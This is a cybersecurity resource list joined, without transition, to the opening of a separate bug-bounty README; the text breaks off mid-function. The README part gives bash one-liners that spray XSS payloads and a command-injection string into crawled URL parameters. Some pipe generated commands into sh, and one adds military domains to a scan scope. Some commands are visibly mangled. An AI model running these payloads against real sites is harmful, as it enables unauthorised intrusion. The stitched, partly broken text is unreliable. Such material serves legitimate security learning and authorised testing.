- [TheLinuxGamer](https://www.youtube.com/user/TheLinuxgamer) Linux gaming, Linux tutorials, photo editing, music editing, programming, and some hacking tutorials
## Networking
- [Professor Messer's Network+ Training Course](https://www.youtube.com/playlist?list=PLG49S3nxzAnksQpejrRxNZoRSo0pcKXkG) Highly recommended network+ training course on YouTube.
- [FreeCodeCamp Networking Course](https://www.youtube.com/watch?v=qiQR5rTSshw&t=7212s) Networking course by freeCodeCamp and Network+ preparation.
- [Network Chuck Networking Course/CCNA Training](https://www.youtube.com/playlist?list=PLIhvC56v63IJVXv0GJcl9vO5Z6znCVb1P) Networking course by Network Chuck/CCNA training course.
## Certifications
### Hardware
- [CompTIA A+](https://www.comptia.org/certifications/a) General hardware certification with a wide range of job offerings Cost Low/Mid (USD $300-400)
- [Professor Messer A+ Course](https://www.youtube.com/watch?v=87t6P5ZHTP0&list=PLG49S3nxzAnnOmvg5UGVenB_qQgsh01uC) YouTube course by Professor Messer on A+ certification.
- [Apple Certified Macintosh Technician](https://www.thenewit.com/go-apple-technician-training/apple-certified-mac-technician) Apple-specific hardware certification Cost High (USD $2,800)
### Networking
- [CompTIA Network+](https://www.comptia.org/certifications/network) Networking certification
the Cost is Low/Mid (USD $300-400)
- [Professor Messer Network+ Course](https://www.youtube.com/watch?v=As6g6IXcVa4&list=PLG49S3nxzAnlCJiCrOYuRYb6cne864a7G) Free YouTube course by Professor Messer on Network+ certification.
- [Udemy Network+ Course](https://www.udemy.com/course/comptia-network-n10-008/) Paid course on Udemy for Network+ certification. The Cost is Low (USD $20-30)
### Linux
- [CompTIA Linux+](https://www.comptia.org/certifications/linux) CompTia Certification for Linux Cost is Low/Mid (USD $300-400)
### Security - Entry Level
- [CompTIA Security+](https://www.comptia.org/certifications/security) Comptia Entry-level security certification Cost is Low/Mid (USD $300-400)
- Stay Tuned for a Security + study guide
- [CEH](https://www.eccouncil.org/train-certify/certified-ethical-hacker-ceh/) Certified Ethical Hacker certification. This is for the multiple-choice exam. The Cost is High (USD $1200)
### Security - Management Level
- [CISSP](https://www.isc2.org/Certifications/CISSP) Certified Information Systems Security Professional Cost Mid ($USD 700-800)
### Penetration Testing
- [CompTIA PenTest+](https://www.comptia.org/certifications/pentest) Certification focusing on penetration testing methodology
The Cost is Low/Mid (USD $300-400)
- [PNPT](https://certifications.tcm-sec.com/pnpt/) Hands-on exam from TheCyberMentor (Heath Adams) covering active directory external penetration testing and privilege escalation
Cost Low/Mid (USD $300-400)
- [EJPT](https://elearnsecurity.com/product/ejpt-certification/) Practical exam for penetration testing
The Cost is Low/Mid (USD $300-400)
- [CEH Master](https://www.eccouncil.org/train-certify/ceh-master/) Practical CEH exam Cost is really high (USD $4,670) including CEH multiple-choice and hands-on exams. Typically need college, a scholarship, or work to pay for it.
- [OSCP](https://www.offsec.com/courses/pen-200/) Highly recognized penetration testing certification with a focus on manual testing techniques
The cost is High (USD $1000-2500)
- I will be writing an OSCP study guide soon.
- Looking for people to give feedback on SANS certifications
## Web Application Security
### Exploitation Frameworks and Tools
- [BeEF](http://www.bindshell.net/tools/beef) - Browser Exploitation Framework
- [BlindElephant](http://blindelephant.sourceforge.net/) - Scanner for known vulnerable web apps
- [XSSer](http://xsser.sourceforge.net/) - Cross-site Scripting attack tool
- [RIPS Scanner](http://sourceforge.net/projects/rips-scanner/) - Scanner for vulnerable PHP apps
- [Authforce](http://www.divineinvasion.net/authforce/) - Password cracking tool
- [Software Exploitation Toolkit](http://andlabs.org/tools.html#sotf) - Software exploitation toolkit
- [SQL Injection Digger](http://carnal0wnage.blogspot.com/2007/07/using-sqid-sql-injection-digger-to-look.html) - SQL Injection Digger search guide
- [Pinata CSRF Tool](http://code.google.com/p/pinata-csrf-tool/) - Cross-Site Request Forgery exploration and exploitation tool
- [XSSer Introduction](http://xsser.sourceforge.net/#intro) - Cross-site Scripting attack tool
- [Clickjacking Attack Tool](http://www.contextis.co.uk/resources/tools/clickjacking-tool/) - Clickjacking attack tool
- [Unicode Exploitation Guide](http://packetstormsecurity.org/files/view/69896/unicode-fun.txt) - Unicode exploitation guide
- [Web Security Testing Framework](http://sourceforge.net/projects/ws-attacker/files/) - Web security testing framework
- [Squid Imposter](https://github.com/koto/squid-imposter) - SSL impostering for MITM attacks
### SQL Injection (SQLi)
A vulnerability that permits attackers to manipulate SQL queries to gain unauthorized access, modify, or retrieve sensitive data from a database.
- [MSSQL SQL Injection Cheat Sheet](http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/)
- [SQL Injection Intro](http://sqlzoo.net/hack/)
- [SQL Server Versions](http://www.sqlteam.com/article/sql-server-versions)
- [Testing for MS Access](http://www.owasp.org/index.php/Testing_for_MS_Access)
- [SQL Injection Video Tutorial](http://www.youtube.com/watch?v=WkHkryIoLD0)
### Upload Tricks
Upload web vulnerabilities refer to security flaws that allow malicious users to upload and execute unauthorized files, potentially leading to server compromise or unauthorized access to the system.
- [Bypassing Upload File Type](http://www.google.com/#hl=en&q=bypassing+upload+file+type&start=40&sa=N&fp=a2bb30ecf4f91972)
- [Tricks & Tips: Bypassing Image Uploaders](http://ex.ploit.net/f20/tricks-tips-bypassing-image-uploaders-t3hmadhatt3r-38/)
- [Raven PHP Scripts: File Upload Vulnerability](http://www.ravenphpscripts.com/article2974.html)
- [Cross-site Scripting Scanner](http://www.acunetix.com/cross-site-scripting/scanner.htm)
- [Microsoft Security Advisory: File Upload](http://msdn.microsoft.com/en-us/library/aa478971.aspx)
- [TangoCMS Issue 237](http://dev.tangocms.org/issues/237)
- [Cross-Site File Upload Attacks](http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/)
- [File Upload Security](http://shsc.info/FileUploadSecurity)
- [TikiWiki Script File Upload Security Bypass Vulnerability](http://www.ipolicynetworks.com/technology/files/TikiWiki_jhot.php_Script_File_Upload_Security_Bypass_Vulnerability.html)
### LFI/RFI (Local File Inclusion/Remote File Inclusion)
Allows an attacker to include files from the target system or remote servers, potentially leading to unauthorized access or code execution.
- [Online Source Code for LFI/RFI Vulnerability](http://pastie.org/840199)
- [Understanding File-access Denial Exploits](http://www.digininja.org/blog/when_all_you_can_do_is_read.php)
### XSS (Cross-site Scripting)
An attack where malicious scripts are injected into web pages, affecting users who visit the page and potentially stealing their data or taking control of their accounts.
- [Cross-site Scripting Tutorial](http://www.infosecwriters.com/hhworld/hh8/csstut.htm)
- [Basic Tutorial on XSS](http://www.technicalinfo.net/papers/CSS.html)
- [Comprehensive Guide to XSS Attack and Defense](http://forum.intern0t.net/web-hacking-war-games/112-cross-site-scripting-attack-defense-guide.html)
- [Filter Evasion Houdini on the Wire](http://www.securityaegis.com/filter-evasion-houdini-on-the-wire/)
- [Javascript-based XSS Cheat Sheet](http://heideri.ch/jso/#javascript)
- [Subreddit for XSS](http://www.reddit.com/r/xss/)
- [XSS Discussions](http://sla.ckers.org/forum/list.php?2)
### Metasploit
- [WmapNikto - Metasploit](http://code.google.com/p/msf-hack/wiki/WmapNikto)
- [Metasploit Mailing List](http://seclists.org/metasploit/)
- [Meterpreter](http://meterpreter.illegalguy.hostzi.com/)
- [Metasploit Video Tutorial](http://www.securitytube.net/video/711)
- [Meterpreter Client](http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient#download)
- [Fast and Easy Hacking with Metasploit](http://www.fastandeasyhacking.com/)
### Metadata
- [Document Metadata: The Silent Killer](http://www.sans.org/reading_room/whitepapers/privacy/document-metadata-silent-killer_32974)
- [Strikeout](http://lcamtuf.coredump.cx/strikeout/)
- [ExifTool](http://www.sno.phy.queensu.ca/~phil/exiftool/)
- [Metagoofil](http://www.edge-security.com/metagoofil.php)
### OSINT (Open-source Intelligence)
- [theHarvester](http://www.edge-security.com/theHarvester.php)
- [DNSTracer](http://www.mavetju.org/unix/dnstracer-man.php)
- [Paterva Maltego](http://www.paterva.com/web5/)
### Shells
- [Yokoso](http://sourceforge.net/projects/yokoso/)
- [AjaxShell](http://sourceforge.net/projects/ajaxshell/)
- [R57](https://r57.gen.tr/)
- [Revshells](https://www.revshells.com/)
### Attack Strings
- [FuzzDB](http://code.google.com/p/fuzzdb/)
- [OWASP Fuzzing Code Database](http://www.owasp.org/index.php/Category:OWASP_Fuzzing_Code_Database#tab=Statements)
### Scanners
- [w3af](http://w3af.sourceforge.net/) - Open-source web application security scanner.
- [Skipfish](http://code.google.com/p/skipfish/) - Automated web application security audit tool.
- [sqlmap](http://sqlmap.sourceforge.net/) - Automated SQL injection and database takeover tool.
- [SQID](http://sqid.rubyforge.org/#next) - Web application security library.
- [Cross-Site Scripting Scanner](http://packetstormsecurity.org/UNIX/scanners/XSSscan.py.txt)
- [Unauthorized Web Server Access Scanner](http://code.google.com/p/fimap/wiki/WindowsAttack)
- [Web Vulnerability Scanner](http://code.google.com/p/fm-fsf/)
- [Burp Suite](http://www.portswigger.net/burp/) - Web vulnerability scanner and testing tool.
- [Belch](http://sourceforge.net/projects/belch/files/) - Web vulnerability scanner.
- [Burp Intruder: Fuzzing Approach to Credentials Discovery](http://www.sans.org/reading_room/whitepapers/testing/fuzzing-approach-credentials-discovery-burp-intruder_33214)
### Net Scanners and Scripts
- [Nmap](http://nmap.org/) - Network mapping and port scanning tool
- [SambaScan2](http://asturio.gmxhome.de/software/sambascan2/i.html) - Windows-based shell script for discovering LanMan/NTLM authentication information
- [SoftPerfect Network Scanner](http://www.softperfect.com/products/networkscanner/) - Network scanner tool
- [OpenVAS](http://www.openvas.org/) - Vulnerability scanner and management
- [Nessus](http://tenable.com/products/nessus) - Vulnerability scanner and management
- [Rapid7 Vulnerability Scanner](http://www.rapid7.com/vulnerability-scanner.jsp) - Vulnerability scanner and management
- [Retina Community](http://www.eeye.com/products/retina/community) - Vulnerability scanner
## Content Management System (CMS) Hacking
Content Management Systems (CMS) are popular platforms used to manage, create, and modify digital content on websites and web applications. While they provide convenience and flexibility, improper configuration and vulnerabilities can lead to security risks. Ethical hacking (penetration testing) of CMSs is essential to identify weaknesses and implement robust security measures. However, it is crucial to obtain proper authorization before conducting any testing. Here's an overview of popular CMS platforms and resources for ethical hacking:
### WordPress:
- [**WordPress**](https://wordpress.com/) A widely used open-source CMS for websites and blogs.
- [**WPScan**](https://wpscan.com/) WordPress vulnerability scanner.
- [**Securi Wordpress Guide**](https://sucuri.net/guides/wordpress-security/) Official security guide by WordPress.
- [**OWASP WordPress Security Implementation Guideline**](https://secure.wphackedhelp.com/blog/wordpress-security-checklist-guide/) OWASP WordPress Security Cheat Sheet.
### Drupal:
- [**Drupal**](https://www.drupal.org/) An open-source CMS known for flexibility and scalability.
- [**Drupal Security**](https://www.drupal.org/security) Official security page for Drupal with advisories.
- [**Guide on Drupal Security**](https://www.keycdn.com/blog/drupal-security).
### ColdFusion:
- [**ColdFusion Directory Traversal FAQ (CVE-2010-2861)**](https://www.exploit-db.com/exploits/14641)Information about major ColdFusion vulnerability.
- [**Attacking ColdFusion**](https://pentest.tonyng.net/attacking-adobe-coldfusion/) Insights into attacking ColdFusion applications.
### Joomla:
- [**Joomla**](https://www.joomla.org/) A popular open-source CMS with extensibility features.
- [**Joomla Security**](https://docs.joomla.org/Security_Checklist/Joomla!_Setup) Security checklist and guidelines from Joomla.
### Magento:
- [**Magento**](https://business.adobe.com/products/magento/magento-commerce.html) An e-commerce-focused open-source CMS.
- [**Magento Security Best Practices**](https://www.adobe.com/content/dam/cc/en/trust-center/ungated/whitepapers/experience-cloud/adobe-commerce-best-practices-guide.pdf) Security best practices from Magento.
### Shopify:
- [**Shopify**](https://www.shopify.com/) A hosted CMS for e-commerce solutions.
- [**Shopify Security**](https://help.shopify.com/en/manual/your-account/account-security) Security measures and guidelines provided by Shopify.
### Wix:
- [**Wix**](https://www.wix.com/) Cloud-based website builder with drag-and-drop tools.
- [**Wix Security**](https://www.wix.com/website-security) Wix's security measures and policies.
### Squarespace:
- [**Squarespace**](https://www.squarespace.com/) A website builder with visually appealing templates.
- [**Squarespace Security**](https://www.squarespace.com/security) Security practices and protocols from Squarespace.
### Typo3:
- [**Typo3**](https://typo3.org/) An enterprise-level open-source CMS known for scalability.
- [**Typo3 Security**](https://typo3.org/community/teams/security) Typo3 security guide.
### Umbraco:
- [**Umbraco**](https://umbraco.com/) An open-source CMS based on Microsoft's ASP.NET framework.
- [**Umbraco Security**](https://umbraco.com/blog/category/security/) Security information and guidelines from Umbraco.
### Ghost:
- [**Ghost**](https://ghost.org/) A CMS designed for bloggers and writers.
- [**Ghost Security**](https://ghost.org/docs/security/) Security concepts and practices for Ghost.
## Cybersecurity Tools
section in progress
## Cloud Security
### Cloud Security Resources:
- [Cloud Security Alliance (CSA)](https://cloudsecurityalliance.org/) A non-profit organization focused on promoting best practices for cloud security and providing education and guidance.
- [Microsoft Cloud Security](https://www.microsoft.com/en-us/trustcenter/security) Microsoft's official cloud security page, offers information on Azure security and compliance.
- [AWS Security](https://aws.amazon.com/security/) Amazon Web Services (AWS) security center, providing resources and best practices for securing cloud environments on AWS.
- [Google Cloud Security](https://cloud.google.com/security) Google Cloud's security page, with information on securing applications and data on Google Cloud Platform.
- [Cloud Security by Oracle](https://www.oracle.com/cloud/security/) Oracle Cloud's security resources, including whitepapers and best practices for securing cloud deployments.
- [NIST Cloud Computing Security](https://www.nist.gov/programs-projects/cloud-computing) National Institute of Standards and Technology (NIST) publications and guidelines on cloud computing security.
- [CSO Online - Cloud Security](https://www.csoonline.com/category/cloud-security/) Articles and news on cloud security from CSO Online.
- [Cloud Security Blogs](https://blog.feedspot.com/cloud_security_blogs/) A collection of top cloud security blogs, providing insights and updates on cloud security trends.
- [Cloud Security Podcasts](https://www.cloudsecuritypodcast.tv/) A podcast series focused on cloud security topics and discussions.
- [SANS Institute Cloud Security Training](https://www.sans.org/cloud-security-training) Cloud security courses and training offered by the SANS Institute.
- [Azure Fundamentals from youtube](https://www.youtube.com/playlist?list=PLGjZwEtPN7j-Q59JYso3L4_yoCjj2syrM)
this section is still in progress
## Digital Forensics
this section is still in progress
## Operating systems
* [Kali Linux](https://www.kali.org) is the most common operating system used for ethical hacking.
Best for all levels has the most tutorials and support and the largest community. Note various cybersecurity courses assume you are utilizing Kali including offensive security and pnpt/tcm
* [Parrot Security OS](http://www.parrotsec.org/) Similar to kali . easy to use but not as much support as Kali
* [BlackArch Linux](http://www.blackarch.org/) very customizable version of Linux, with a very steep learning curve but is still very powerful
* For more info on individual Operating Systems see [distrowatch](https://distrowatch.com/)
### ISOS
An ISO is a virtual "box" that contains all the necessary files and data to set up a computer system or an operating system. ISO files are typically used to distribute software, including operating systems like Windows or Linux.
#### Windows ISO images from Microsoft
* [Windows 10 iso image](https://www.microsoft.com/en-us/software-download/windows10)
* [Windows 8 iso image](https://www.microsoft.com/en-us/software-download/windows8ISO)
* [Windows 7 iso image](https://www.microsoft.com/en-us/software-download/windows7)
#### Linux ISO images
Common Linux Distros
* [Debian](https://www.debian.org/CD/http-ftp/) Stable and open-source OS with vast software repositories
* [Ubuntu](https://ubuntu.com/download)User-friendly Linux OS based on Debian with frequent updates
* [Linux Mint](https://linuxmint.com/download.php) Accessible OS, great for beginners, based on Ubuntu
* [Arch](https://archlinux.org/download/) Lightweight and customizable Linux OS, preferred by experienced users
* [For more info on other Operating Systems](https://distrowatch.com/)
### Virtual machine software and virtualization
* [VirtualBox](https://www.virtualbox.org/) windows mac and Linux
* [Vmware](https://www.vmware.com/) Vmware workstation windows mac and Linux
* [Wine](https://www.winehq.org/) emulator for running windows applications on Linux, macOS, & BSD (not a virtual machine)
Instead of simulating internal Windows logic like a virtual machine or emulator, Wine translates Windows API calls into POSIX calls on the fly,
eliminating the performance and memory penalties of other methods and allowing you to cleanly integrate Windows applications into your desktop.
## Osint
OSINT (Open Source Intelligence) -The practice of collecting information from published or otherwise publicly available sources
### People and Organizational
* http://www.spokeo.com/ - locate people using online search
* http://www.123people.com/ - search engine for people
* http://www.xing.com/ - online networking platform
* http://www.zoominfo.com/search - business information search
* http://pipl.com/ - search engine mainly for people
* http://www.zabasearch.com/ - people and business search engine
* http://www.searchbug.com/default.aspx - Contact and services search engine
* http://theultimates.com/ - people and business search
* http://skipease.com/ - public records search
* http://addictomatic.com/ - search topics and key phrases
* http://socialmention.com/ - see how often a phrase is mentioned
* http://entitycube.research.microsoft.com/ - link entities to other sources
* http://www.yasni.com/ - search engine of people and business
* http://tweepz.com/ - search and find Twitter profiles
* http://tweepsearch.com/ - Tweet search engine
* http://www.glassdoor.com/index.htm - search for employers and salaries
* http://www.jigsaw.com/ - Business information exchange
* http://searchwww.sec.gov/EDGARFSClient/jsp/EDGAR_MainAccess.jsp - public trading and financial documents
* http://www.tineye.com/ - search for images
* http://www.peekyou.com/ - online people search
* http://picfog.com/ - search engine for images
* http://twapperkeeper.com/index.php - Twitter archival search
### Infrastructure:
* https://searchdns.netcraft.com/ - DNS lookup provider
* https://securityheaders.com/ - Secure HTTP response headers scanner
* http://uptime.netcraft.com/ - Website uptime checking
* http://www.domaintools.com/ - Domain information provider
* http://centralops.net/co/ - DNS and IP information lookup
* http://hackerfantastic.com/ - Website security scanning
* http://whois.webhosting.info/ - WHOIS lookup tool
* https://www.ssllabs.com/ssldb/analyze.html - SSL security assessment
* http://www.clez.net/ - IP address intelligence
* http://www.my-ip-neighbors.com/ - IP relationships explorer
* https://www.shodan.io/ - IoT device search engine
* http://www.exploit-db.com/google-dorks/ - Vulnerability search engine
* http://www.hackersforcharity.org/ghdb/ - Security knowledgebase
## References and Cheatsheets
* [http://en.wikipedia.org/wiki/IPv4_subnetting_reference](http://en.wikipedia.org/wiki/IPv4_subnetting_reference)
* [http://www.nixtutor.com/linux/all-the-best-linux-cheat-sheets/](http://www.nixtutor.com/linux/all-the-best-linux-cheat-sheets/)
* [http://shelldorado.com/shelltips/beginner.html](http://shelldorado.com/shelltips/beginner.html)
* [http://www.linuxsurvival.com/](http://www.linuxsurvival.com/)
* [http://mywiki.wooledge.org/BashPitfalls](http://mywiki.wooledge.org/BashPitfalls)
* [http://rubular.com/](http://rubular.com/)
* [http://www.iana.org/assignments/port-numbers](http://www.iana.org/assignments/port-numbers)
* [http://www.robvanderwoude.com/ntadmincommands.php](http://www.robvanderwoude.com/ntadmincommands.php)
* [http://www.nixtutor.com/linux/all-the-best-linux-cheat-sheets/](http://www.nixtutor.com/linux/all-the-best-linux-cheat-sheets/)
* http://cirt.net/ports_dl.php?export=services - Lists of port services definitions
* http://www.cheat-sheets.org/ - Compilation of cheatsheets for a variety of topics
## Communities and Conferences:
* [Defcon](https://www.defcon.org/) one of the largest worldwide Hacking conferences in the world
* [Blackhat](https://blackhat.com/) large worldwide conference all over the globe
* [RSA Conference](https://www.rsaconference.com/) The RSA Conference is an annual event focused on helping improve cybersecurity awareness and cybersecurity culture in companies, and similarly expanding this knowledge in individuals across the globe.
* [Calendar for Information Security Conferences](https://www.google.com/calendar/[email protected]&gsessionid=OK)
## Blogs, Wikis, Magazines, and Forums
### Blogs
* [McGrew Security](http://www.mcgrewsecurity.com/)
* [GNUCITIZEN](http://www.gnucitizen.org)
* [Darknet - The Darkside](http://www.darknet.org.uk/)
### Forums:
Created for forums that will help in both tool usage, syntax, attack techniques, and collection of scripts and tools.
* [EH-Net Forums](https://www.ethicalhacker.net/forums/index.php)
* [Hak5 Forums](https://forums.hak5.org/)
* [Kali Linux Forums](https://forums.kali.org/)
* [Hack Forums](http://www.hackforums.net/)
* [Hackthissite Forums](http://www.hackthissite.org/forums/index.php)
* [Security Override Forums](http://securityoverride.com/forum/index.php)
* [Government Security](http://www.governmentsecurity.org/forum/)
### Wikis
* [Pwn Wiki](http://pwnwiki.io/)
* [Skull Security](https://wiki.skullsecurity.org/)
* [BlindSeeker Wiki](https://www.blindseeker.com)
* [SQL Injection Wiki](http://www.sqlinjectionwiki.com/)
* [Forgotten Security's CTF Wiki](http://ctf.forgottensec.com/wiki/index.php)
### Magazines:
* [(In)Secure Magazine](http://www.net-security.org/insecuremag.php)
* [Hackin9](http://hakin9.org/)
## Security Research
* [https://www.shodan.io/](https://www.shodan.io/): network monitoring and analytics platform.
* [https://www.exploit-db.com/google-hacking-database](https://www.exploit-db.com/google-hacking-database) google search term exploit database
* [http://www.exploit-db.com/](http://www.exploit-db.com/): exploited and vulnerable software vulnerabilities database.
* [http://www.cvedetails.com/](http://www.cvedetails.com/): comprehensive database of security vulnerabilities.
* [https://cxsecurity.com/](https://cxsecurity.com/): security vulnerability database.
* [http://www.packetstormsecurity.org/](http://www.packetstormsecurity.org/): security attack and audit sources.
* [http://www.securityforest.com/wiki/index.php/Main_Page](http://www.securityforest.com/wiki/index.php/Main_Page): security and penetration testing tips.
* [http://www.securityfocus.com/bid](http://www.securityfocus.com/bid): Bugtraq discussion forum & vulnerability tracking system.
* [http://nvd.nist.gov/](http://nvd.nist.gov/): U.S. National Vulnerability Database.
* [http://osvdb.org/](http://osvdb.org/): open source vulnerability database.
* [http://www.nullbyte.org.il/Index.html](http://www.nullbyte.org.il/Index.html): cyber security and hacking website.
* [http://secdocs.lonerunners.net/](http://secdocs.lonerunners.net/): security document search engine.
* [http://www.phenoelit-us.org/whatSAP/index.html](http://www.phenoelit-us.org/whatSAP/index.html): SAP security exploit database.
* [http://secunia.com/](http://secunia.com/): online IT security vulnerability resource.
* [http://cve.mitre.org/](http://cve.mitre.org/): database of publicly known security vulnerabilities
## Glossary
- [Sans Glossary of Security Terms](https://www.sans.org/security-resources/glossary-of-terms/)
- [NICCS glossary of terms](https://niccs.cisa.gov/cybersecurity-career-resources/vocabulary)
- [NIST Glossary](https://csrc.nist.gov/glossary)
- [Common Security Acronyms](https://getcertified.ecpi.edu/wp-content/uploads/2018/02/CompTIA-SecurityPlus-Acronyms.pdf)
- [Skillsoft list](https://www.globalknowledge.com/us-en/topics/cybersecurity/glossary-of-terms/)
- For more terms see [Cybersecurity ventures article](https://cybersecurityventures.com/cybersecurity-glossary/)
## Contributions
Special thanks to all the contributors who have helped compile and curate this comprehensive list of resources. Your valuable contributions have made this collection possible and will undoubtedly assist many in their pursuit of knowledge and understanding in the world of cybersecurity and information technology. Together, we strive to improve and share knowledge, making the digital landscape safer for all.
In no particular order thank you
* [theo2612](https://github.com/theo2612)
* butterfly Discord id butterfly6
* [xsudoxx](https://github.com/xsudoxx/OSCP)
|
<h1 align="center"> 👑 What is KingOfBugBounty Project </h1>
Our main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wish to influence Onelinetips and explain the commands, for the better understanding of new hunters.. 👑
## Stats King
[](https://www.digitalocean.com/?refcode=703ff752fd6f&utm_campaign=Referral_Invite&utm_medium=Referral_Program&utm_source=badge)
## Join Us
[](https://t.me/joinchat/DN_iQksIuhyPKJL1gw0ttA)
[](https://twitter.com/ofjaaah)
<div>
<a href="https://www.linkedin.com/in/atjunior/"><img src="https://img.shields.io/badge/LinkedIn-0077B5?style=for-the-badge&logo=linkedin&logoColor=white"></img></a>
<a href="https://www.youtube.com/c/OFJAAAH"><img src="https://img.shields.io/badge/YouTube-FF0000?style=for-the-badge&logo=youtube&logoColor=white"></a>
</div>
## BugBuntu Download
- [BugBuntu](https://sourceforge.net/projects/bugbuntu/)
- [@bt0s3c](https://twitter.com/bt0s3c)
- [@MrCl0wnLab](https://twitter.com/MrCl0wnLab)
## Special thanks
- [@bt0s3c](https://twitter.com/bt0s3c)
- [@MrCl0wnLab](https://twitter.com/MrCl0wnLab)
- [@Stokfredrik](https://twitter.com/stokfredrik)
- [@Jhaddix](https://twitter.com/Jhaddix)
- [@pdiscoveryio](https://twitter.com/pdiscoveryio)
- [@TomNomNom](https://twitter.com/TomNomNom)
- [@jeff_foley](https://twitter.com/@jeff_foley)
- [@NahamSec](https://twitter.com/NahamSec)
- [@j3ssiejjj](https://twitter.com/j3ssiejjj)
- [@zseano](https://twitter.com/zseano)
- [@pry0cc](https://twitter.com/pry0cc)
- [@wellpunk](https://twitter.com/wellpunk)
## Scripts that need to be installed
To run the project, you will need to install the following programs:
- [Amass](https://github.com/OWASP/Amass)
- [Anew](https://github.com/tomnomnom/anew)
- [Anti-burl](https://github.com/tomnomnom/hacks/tree/master/anti-burl)
- [Assetfinder](https://github.com/tomnomnom/assetfinder)
- [Airixss](https://github.com/ferreiraklet/airixss)
- [Axiom](https://github.com/pry0cc/axiom)
- [Bhedak](https://github.com/R0X4R/bhedak)
- [CF-check](https://github.com/dwisiswant0/cf-check)
- [Chaos](https://github.com/projectdiscovery/chaos-client)
- [Cariddi](https://github.com/edoardottt/cariddi)
- [Dalfox](https://github.com/hahwul/dalfox)
- [DNSgen](https://github.com/ProjectAnte/dnsgen)
- [Filter-resolved](https://github.com/tomnomnom/hacks/tree/master/filter-resolved)
- [Findomain](https://github.com/Edu4rdSHL/findomain)
- [Fuff](https://github.com/ffuf/ffuf)
- [Freq](https://github.com/takshal/freq)
- [Gargs](https://github.com/brentp/gargs)
- [Gau](https://github.com/lc/gau)
- [Gf](https://github.com/tomnomnom/gf)
- [Github-Search](https://github.com/gwen001/github-search)
- [Gospider](https://github.com/jaeles-project/gospider)
- [Gowitness](https://github.com/sensepost/gowitness)
- [Goop](https://github.com/deletescape/goop)
- [GetJS](https://github.com/003random/getJS)
- [Hakrawler](https://github.com/hakluke/hakrawler)
- [HakrevDNS](https://github.com/hakluke/hakrevdns)
- [Haktldextract](https://github.com/hakluke/haktldextract)
- [Haklistgen](https://github.com/hakluke/haklistgen)
- [Html-tool](https://github.com/tomnomnom/hacks/tree/master/html-tool)
- [Httpx](https://github.com/projectdiscovery/httpx)
- [Jaeles](https://github.com/jaeles-project/jaeles)
- [Jsubfinder](https://github.com/ThreatUnkown/jsubfinder)
- [Kxss](https://github.com/Emoe/kxss)
- [Knoxss](https://knoxss.me/)
- [LinkFinder](https://github.com/GerbenJavado/LinkFinder)
- [log4j-scan](https://github.com/fullhunt/log4j-scan)
- [Metabigor](https://github.com/j3ssie/metabigor)
- [MassDNS](https://github.com/blechschmidt/massdns)
- [Naabu](https://github.com/projectdiscovery/naabu)
- [Notify](https://github.com/projectdiscovery/notify)
- [Paramspider](https://github.com/devanshbatham/ParamSpider)
- [Qsreplace](https://github.com/tomnomnom/qsreplace)
- [Rush](https://github.com/shenwei356/rush)
- [SecretFinder](https://github.com/m4ll0k/SecretFinder)
- [Shodan](https://help.shodan.io/command-line-interface/0-installation)
- [ShuffleDNS](https://github.com/projectdiscovery/shuffledns)
- [SQLMap](https://github.com/sqlmapproject/sqlmap)
- [Subfinder](https://github.com/projectdiscovery/subfinder)
- [SubJS](https://github.com/lc/subjs)
- [Unew](https://github.com/dwisiswant0/unew)
- [Unfurl](https://github.com/tomnomnom/unfurl)
- [Urldedupe](https://github.com/ameenmaali/urldedupe)
- [WaybackURLs](https://github.com/tomnomnom/waybackurls)
- [Wingman](https://xsswingman.com/#faq)
- [Goop](https://github.com/deletescape/goop)
- [Tojson](https://github.com/tomnomnom/hacks/tree/master/tojson)
- [X8](https://github.com/Sh1Yo/x8)
- [XSStrike](https://github.com/s0md3v/XSStrike)
- [Page-fetch](https://github.com/detectify/page-fetch)
### BBRF SCOPE DoD
```bash
bbrf inscope add '*.af.mil' '*.osd.mil' '*.marines.mil' '*.pentagon.mil' '*.disa.mil' '*.health.mil' '*.dau.mil' '*.dtra.mil' '*.ng.mil' '*.dds.mil' '*.uscg.mil' '*.army.mil' '*.dcma.mil' '*.dla.mil' '*.dtic.mil' '*.yellowribbon.mil' '*.socom.mil'
```
### Scan All domains using Knoxss
- [Explained command]
```bash
echo "dominio" | subfinder -silent | gauplus | grep "=" | uro | gf xss | awk '{ print "curl https://knoxss.me/api/v3 -d \"target="$1 "\" -H \"X-API-KEY: APIDOKNOXSS\""}' | sh
```
### Scan All github repo ORG
- [Explained command]
```bash
docker run --rm mswell/masstrufflehog -o paypal
```
### Scan log4j using BBRF and log4j-scan
- [Explained command](https://bit.ly/3IUivk9)
```bash
bbrf domains | httpx -silent | xargs -I@ sh -c 'python3 http://log4j-scan.py -u "@"'
```
### SSTI in qsreplase add "{{7*7}}" (0xJin)
```bash
cat subdomains.txt | httpx -silent -status-code | gauplus -random-agent -t 200 | qsreplace “aaa%20%7C%7C%20id%3B%20x” > fuzzing.txt
ffuf -ac -u FUZZ -w fuzzing.txt -replay-proxy 127.0.0.1:8080
```
### urldedupe bhedak
- [Explained command]
```bash
waybackurls testphp.vulnweb.com | urldedupe -qs | bhedak '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)" | egrep -v 'Not'
```
### Hakrawler Airixss XSS
- [Explained command]
```bash
echo testphp.vulnweb.com | httpx -silent | hakrawler -subs | grep "=" | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)" | egrep -v 'Not'
```
### Airixss XSS
- [Explained command]
```bash
echo testphp.vulnweb.com | waybackurls | gf xss | uro | httpx -silent | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)"
```
### FREQ XSS
- [Explained command]
```bash
echo testphp.vulnweb.com | waybackurls | gf xss | uro | qsreplace '"><img src=x onerror=alert(1);>' | freq | egrep -v 'Not'
```
### Bhedak
- [Explained command]
```bash
cat urls | bhedak "\"><svg/onload=alert(1)>*'/---+{{7*7}}"
```
### .bashrc shortcut OFJAAAH
```bash
reconjs(){
gau -subs $1 |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> js.txt ; cat js.txt | anti-burl | awk '{print $4}' | sort -u >> AliveJs.txt
}
cert(){
curl -s "[https://crt.sh/?q=%.$1&output=json](https://crt.sh/?q=%25.$1&output=json)" | jq -r '.[].name_value' | sed 's/\*\.//g' | anew
}
anubis(){
